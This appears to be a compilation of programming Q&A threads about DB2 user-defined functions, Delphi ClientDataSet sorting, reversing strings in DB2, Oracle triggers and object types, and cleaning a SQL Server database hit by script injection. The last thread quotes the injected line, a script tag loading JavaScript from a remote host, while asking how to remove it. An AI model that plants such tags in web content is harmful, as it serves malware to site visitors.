I was asked to build a user defined function on our Mainframe environment that checks for a search string in a longer string. The only catch is that if we search for example for 'AA' in 'ABCAADAA' the only valid result is the last AA because the first AA actually split in CA and AD.
CREATE FUNCTION F#CRE#WK (WK CHAR(02), WKATTR CHAR(10))
RETURNS INTEGER
LANGUAGE SQL
READS SQL DATA
BEGIN
DECLARE INDEX INTEGER DEFAULT 1;
WHILE (INDEX < 9) DO
SET INDEX = LOCATE_IN_STRING(WKATTR, WK, INDEX);
IF (MOD(INDEX, 2) <> 0) THEN
RETURN 1;
END IF;
END WHILE;
RETURN 0;
END;
It is working fine when I implement it using Data Studio but if I put it onto the host directly (we're using Quick32770) I'm getting a bunch of errors which don't make sense at all. I couldn't find any helpful resources(searched the whole IBM page and Google of course).
First error I'm getting is:
SQLCODE = -104, ERROR: ILLEGAL SYMBOL "<END-OF-STATEMENT>". SOME
SYMBOLS THAT MIGHT BE LEGAL ARE: ;
Which refers to the line I'm declaring my index variable. If I remove the semicolon it tells me that the SET is illegal there because it is expecting a semicolon.
I cannot think of anything else I could try(I messed around with the code a lot but errors just kept getting more weird.). I started working in this field while being in college just a couple of weeks ago and nobody here has actual knowledge about this so I was hoping to find some help here.
If there's anything else you need, just let me know!
Thanks in advance.
This might help you:
https://bytes.com/topic/db2/answers/754686-db2-udf-need-eliminate-if-statement
It says the if statement is not allowed on the mainframe in UDF ?
So this user bend it around to a CASE function.
In order to fix this you need to go into the SPUFI settings and change the TERMINATOR option to something else than a semicolon. If I changed it to & my code must look like this:
CREATE FUNCTION F#CRE#WK (WK CHAR(02), WKATTR CHAR(10))
RETURNS INTEGER
LANGUAGE SQL
READS SQL DATA
BEGIN
DECLARE INDEX INTEGER DEFAULT 1;
WHILE (INDEX < 9) DO
SET INDEX = LOCATE_IN_STRING(WKATTR, WK, INDEX);
IF (MOD(INDEX, 2) <> 0) THEN
RETURN 1;
END IF;
END WHILE;
RETURN 0;
END&
Related
I've been learning about the ClientDataSet in delphi and how it can help sort my SQL database. The data is showing fine in my TDBGrid and i've enabled sorting by clicking on a header by changing the IndexField of the ClientDataset. I want to make it go descending on sorts sometimes though so have been trying to use 2 IndexNames outlined here https://stackoverflow.com/a/13130816/4075632
However, when I swap the IndexName from DEFAULT_ORDER to CHANGEINDEX, all data in my DBGrid disappears. I'm pretty new to all of this, and I know it will depend on my situation, but what are some of the ways this happens and I will try to troubleshoot them.
I have 1 TSQLConnection connected to TSQLQuery, and that connected to TDataSetProvider, and that connected to my ClientDataSet which leads to a TDataSource to the TDBGrid. Why might the ClientDataSet which is usually fine cause problems when I change its name? Please bear in mind that most of the settings are default because I'm not too sure about these components. Thanks, I hope you can provide some useful help and I'm sorry it may be difficult to se my situation.
Toby
I use the following code to build indexes for a clientdataset:
Procedure BuildIndices (cds: TClientDataSet);
var
i, j: integer;
alist: tstrings;
begin
with cds do
begin
open;
logchanges:= false;
for i:= 0 to FieldCount - 1 do
if fields[i].fieldkind <> fkCalculated then
begin
j:= i * 2;
addindex ('idx' + inttostr (j), fieldlist.strings[i], [], '', '', 0);
addindex ('idx' + inttostr (j+1), fieldlist.strings[i], [ixDescending], '', '', 0);
end;
alist:= tstringlist.create;
getindexnames (alist);
alist.free;
close;
end;
end;
As a result, there is an index 'idx0' for sorting column 0 ascending and 'idx1' for sorting column 0 descending; 'idx2' and 'idx3' for column 1, etc.
Then, in the grid's OnTitleClick event, I have the following
procedure Txxx.DBGrid1TitleClick(Column: TColumn);
var
n, ex: word;
begin
n:= column.Index;
try
dbgrid1.columns[prevcol].title.font.color:= clNavy
except
end;
dbgrid1.columns[n].title.font.color:= clRed;
prevcol:= n;
directions[n]:= not directions[n];
ex:= n * 2;
if directions[n] then inc (ex);
with clientdataset do
try
disablecontrols;
indexname:= 'idx' + inttostr (ex);
finally
first;
enablecontrols
end;
end;
In each form, I define an array of booleans ('directions'), one element per grid column. These elements track whether a column should be sorted ascending or descending.
The ClientDataSet comes with two predefined indexes: DEFAULT_ORDER and CHANGEINDEX, which are of no real use for your task, because you cannot tweak them to your needs. So you have to create your own indexes. A comprehensive description by Cary Jensen can be found in this article as well as in his highly recommended book about ClientDataSets.
In DB2 9.7 I am looking for a way to reverse a string in a SQL query.
I am familiar with SQL Server where the query would be like
SELECT
REVERSE(LEFT_TO_REIGHT) AS RIGHT_TO_LEFT
FROM
TABLE1;
I couldn't find a similar function in DB2. is there a simple way to reverse a string?
Creating a REVERSE(..) function is unnecessary.
DB2 has something called RIGHT(string-expression, length):
The RIGHT function returns the rightmost string of string-expression
of length length, expressed in the specified string unit. If
string-expression is a character string, the result is a character
string. If string-expression is a graphic string, the result is a
graphic string
So if you're interested in the last 8 characters, you can pretty trivially do this via:
SELECT RIGHT(left_to_right, 8) AS right_to_left
FROM Table1
(I'm actually still concerned about the fact that you're splitting off 8 characters consistently, as it implies you have a multi-part key of some sort).
Try something like:
SELECT STRIP(CAST( TRANSLATE('87654321',LEFT_TO_REIGHT, '12345678') AS VARCHAR(8) ))
FROM TABLE1;
Due to the original question this is the first webpage that comes up when one searches for 'How to reverse a string in DB2'.
Here is an answer that doesn't require implementing it in C and shouldn't brake on non-pure-Engilsh strings regardless of their length.
Be warned though, the efficiency is 'meh' at best.
CREATE FUNCTION REVERSE_STRING(STR VARCHAR(100))
RETURNS VARCHAR(100)
LANGUAGE SQL
SPECIFIC REVERSE_STRING
DETERMINISTIC
REVERSE: BEGIN
DECLARE REVERSED_STRING VARCHAR(100);
DECLARE REVERSED_CHARACTERS_INDEX INTEGER;
SET REVERSED_STRING='';
SET REVERSED_CHARACTERS_INDEX=0;
WHILE (REVERSED_CHARACTERS_INDEX < CHARACTER_LENGTH(STR, CODEUNITS16))
DO
SET REVERSED_CHARACTERS_INDEX = REVERSED_CHARACTERS_INDEX + 1;
SET REVERSED_STRING = CONCAT(
REVERSED_STRING,
LEFT(RIGHT(STR, REVERSED_CHARACTERS_INDEX, CODEUNITS16), 1, CODEUNITS16));
END WHILE;
RETURN REVERSED_STRING;
END REVERSE#
The idea is to get a substring which starts from the n-th character from the right till the end of the string, then take the first element of this substring from the left and append it to a reversed string. This operation is conducted n times where n is the length of a string to be reversed.
You can use it like any other function.
SELECT FIRSTNME AS FIRSTNAME, REVERSE_STRING(FIRSTNME) AS REVERSED_FIRSTNAME
FROM SAMPLE.EMPLOYEE#
Example output
Answering the original question of reversing a string there's user defined functions published on the IBM site that will do it that you can find here. There's apparently no built in ability in DB2
https://www.ibm.com/developerworks/community/blogs/SQLTips4DB2LUW/entry/reverse?lang=en
Tortured SQL version:
CREATE OR REPLACE FUNCTION REVERSE(INSTR VARCHAR(4000))
RETURNS VARCHAR(4000) SPECIFIC REVERSE
DETERMINISTIC NO EXTERNAL ACTION CONTAINS SQL
RETURN WITH rec(pos, res) AS (VALUES (1, CAST('' AS VARCHAR(4000)))
UNION ALL
SELECT pos + 1, SUBSTR(INSTR, pos , 1) || res
FROM rec
WHERE pos <= LENGTH(INSTR)
AND pos < 5000)
SELECT res FROM rec WHERE pos > LENGTH(INSTR);
But then you have to do this as well, yuck:
CREATE BUFFERPOOL bp32 PAGESIZE 32K;
CREATE SYSTEM TEMPORARY TABLESPACE tsp32 PAGESIZE 32K BUFFERPOOL bp32;
A saner C implementation
#include <sqludf.h>
#ifdef __cplusplus
extern "C"
#endif
void SQL_API_FN ReverseSBCP(SQLUDF_VARCHAR *inVarchar,
SQLUDF_VARCHAR *outVarchar,
SQLUDF_SMALLINT *inVarcharNullInd,
SQLUDF_SMALLINT *outVarcharNullInd,
SQLUDF_TRAIL_ARGS)
{
int inLen, inPos, outPos;
if (*inVarcharNullInd == -1)
{
*outVarcharNullInd = -1;
}
else
{
inLen = strlen(inVarchar);
for (inPos = 0, outPos = inLen -1; inPos < inLen; inPos++, outPos--)
{
outVarchar[outPos] = inVarchar[inPos];
}
outVarchar[inLen] = '\0';
*outVarcharNullInd = 0;
}
return;
}
I'm new to Triggers and PL/SQL in general. FOr testing purpose I'm using slely the Oracle Database Express Edition with its own Command Line.
The script supposed to create a trigger looks like follows:
CREATE OR REPLACE TRIGGER SESSION_LOGIN_HANDLER
AFTER UPDATE OF LOGGED_IN ON BENUTZERKONTO
REFERENCING OLD AS OLD NEW AS NEW
FOR EACH ROW
DECLARE
BEGIN
if (:OLD.LOGGED_IN == 1)
if (:NEW.LOGGED_IN == 0)
{
UPDATE SESSION_LOGGING AS current_session SET DAUER = (sysdate-ZEITSTEMPEL) WHERE DAUER IS NULL AND SECURE_IDENTIFIER = :NEW.SECURE_IDENTIFIER;
}
END;
commit;
And I call it with #C:/SQL.../DB_TRIGGER.trg; in the command line.
Yet just after calling it, the command line seems just to count the line number with each time I press .
It seems like it somehow waits for another line or anything, but I don't know what ><
There's also no failure message or anything.
I even commented out the entire code between "BEGIN" and "END" with no difference!
Could someone help this beginner? Thanks in advance!
That's no Oracle syntax, it must be like this:
if (:OLD.LOGGED_IN = 1) then
if (:NEW.LOGGED_IN = 0) then
UPDATE SESSION_LOGGING AS current_session SET DAUER = (sysdate-ZEITSTEMPEL)
WHERE DAUER IS NULL AND SECURE_IDENTIFIER = :NEW.SECURE_IDENTIFIER;
end if;
end if;
I'm having trouble getting the following member method to compile (count_single_buses). Would appreciate any advice on what might be wrong syntactically with my code.
CREATE OR REPLACE TYPE BodyModel2_Type AS OBJECT(
ModelID INTEGER,
ModelName VARCHAR2(45),
FloorType VARCHAR2(45),
Manufacturer VARCHAR2(45),
Length NUMBER(8,2),
Width NUMBER(8,2),
NoOfAxles INTEGER,
MEMBER FUNCTION count_single_buses(ModelID INTEGER) RETURN INTEGER);
/
CREATE OR REPLACE TYPE BODY BodyModel2_Type AS
MEMBER FUNCTION count_single_buses(ModelID INTEGER) RETURN INTEGER IS
N INTEGER;
BEGIN
N := (SELECT COUNT(BODYMODELREF) FROM SINGLEDECKBUS_TABLE S
WHERE S.BODYMODELREF = ModelID);
RETURN N;
END count_single_buses;
END;
--EDIT--
Thanks to #Ravi, I managed to solve the issue my correcting my SQL syntax and setting the resultset to a NUMBER, instead of INTEGER.
CREATE OR REPLACE TYPE BODY BodyModel_Type AS
MEMBER FUNCTION count_single_buses(thisModelID INTEGER) RETURN NUMBER IS
NUM NUMBER;
BEGIN
SELECT COUNT(S.BODYMODELREF) INTO NUM FROM SINGLEDECKBUS_TABLE S WHERE S.BODYMODELREF.MODELID = thisModelID;
RETURN NUM;
END count_single_buses;
END;
/
Still not sure why #Ravi's exact code still produced the warning, and thought that resultset when returning a count value could go into an integer. At any rate, the code works now. Thanks all.
Your BodyModel2_Type Type definition looks okay. However, the body definition is syntactically incorrect.
You cannot define a SQL statement directly to a variable, thus making this statement wrong.
N := (SELECT COUNT(BODYMODELREF) FROM SINGLEDECKBUS_TABLE S
WHERE S.BODYMODELREF = ModelID);
You will have to use Select... into statement in order to assign the result set of your SQL query into a variable. So, the right syntax should look like this
SELECT COUNT(BODYMODELREF) FROM SINGLEDECKBUS_TABLE S INTO N
WHERE S.BODYMODELREF = ModelID
AFAIK you don't have END the Type followed by the Type name like this END count_single_buses. It'll produce an error. So, overall your Type body specification should look like this:
CREATE OR REPLACE TYPE BODY BodyModel2_Type AS
MEMBER FUNCTION count_single_buses(ModelID INTEGER) RETURN NUMBER IS
N NUMBER;
BEGIN
SELECT COUNT(BODYMODELREF) FROM SINGLEDECKBUS_TABLE S INTO N
WHERE S.BODYMODELREF = ModelID;
RETURN (N);
END;
END;
/
I'm writing this off without any live environment available right now so please let me know if you come across any error in the above code.
Cheers.
I've been handed a MS SQL 2000 database which has been injected with malware.
The malware script is as follows:
<script src=http://www.someAddress.ru/aScript.js></script>
Now I want to remove this piece of code from the table rows.
As a test, I inputed < h1> Test < /h1> on a row, and successfully ran the following query:
UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;
This removed the h1 tag.
But trying the same with the script tag does not work:
UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','')
WHERE id = 2
Why does this not work?
UPDATE 2
WOHO! I found the solution!
I'm using the folloing code, which I found here: http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3
-- Look for open and close HTML tags making sure a letter or / follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
(#HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
AS
BEGIN
DECLARE #Start INT
DECLARE #End INT
DECLARE #Length INT
SET #Start = CHARINDEX('<',#HTMLText)
SET #End = CHARINDEX('>',#HTMLText,CHARINDEX('<',#HTMLText))
SET #Length = (#End - #Start) + 1
WHILE #Start > 0
AND #End > 0
AND #Length > 0
BEGIN
SET #HTMLText = STUFF(#HTMLText,#Start,#Length,'')
SET #Start = CHARINDEX('<',#HTMLText)
SET #End = CHARINDEX('>',#HTMLText,CHARINDEX('<',#HTMLText))
SET #Length = (#End - #Start) + 1
END
RETURN Replace(LTRIM(RTRIM(#HTMLText)),' ',' ')
END
GO
To remove the HTML tags / scripts, I run the following query:
UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;
This works perfectly. Note that this script removes ALL html. So if I only want to remove < script> , I just replace '<' with '< script'.
Have you tried looking for just aScript.js, the entry could be url_encoded, or something similar, so it gives something like
%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E
Reread Question
Do you mean that even when you have the script tag in a column with id=2 it doesn't work? Because if its not working are you sure that it exists in row with id=2? :p
Should work, unless there are other hidden characters in there you can't see, or there is some form of encoding going on. Can you SELECT a suspect row to look at more closely.
I would tend to completely DELETE FROM myTable WHERE description LIKE '%someAddress.ru%' where possible.
However, fixing the database isn't a real solution; the application must be fixed. It shouldn't ever be echoing text out of the database unencoded. If someone enters some data including the string <script> it should simply appear on the page as the literal string <script>, or in the source <script>.
Wouldn't the src attribute value be surrounded by quotes? If so, you would have to escape them to get a proper match on the replace.
Why not try:
UPDATE myTable
set description = REPLACE (description, 'www.someAddress.ru','localhost')
WHERE id = 2
That would eliminate the immediate hijacking problem, and would likely avoid line break / funky characters problems.
You could try the following to strip the code out of your field (I'm assuming you have information in the same field that you want to keep):
update myTable
set description = case when PATINDEX('%<script%', notes) > 0
then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes))
else notes
end
where id=2
You could first run a select to see if the value returned by the CASE statement is correct before running the update. It should not affect fields without a script tag in them, though.
Hold on...
Is the database related to a financial system? Is the application under Sarbanes-Oxley? Has any fraud been committed?
Any of those things preclude you from making changes that would, "destroy evidence." Those little guys running around with "FBI" on their jackets don't take kindly to that. It would be a good thing to back it up now, and the logs (SQL and Web), and put that backup on a few DVDs. It would be better to remove the disk and put in another one (but that may not be an option).
Moving on to cleansing:
bobince's direction is the correct one. Don't look for the whole SCRIPT tag, or try to find variations. Instead, look for something in the script tag that isn't part of the normal dataset. That's what you key off. If it SELECTs okay, then turn it into a DELETE and save that query, because you will need it while you turn to fixing the application (guaranteed your database will get corrupted again).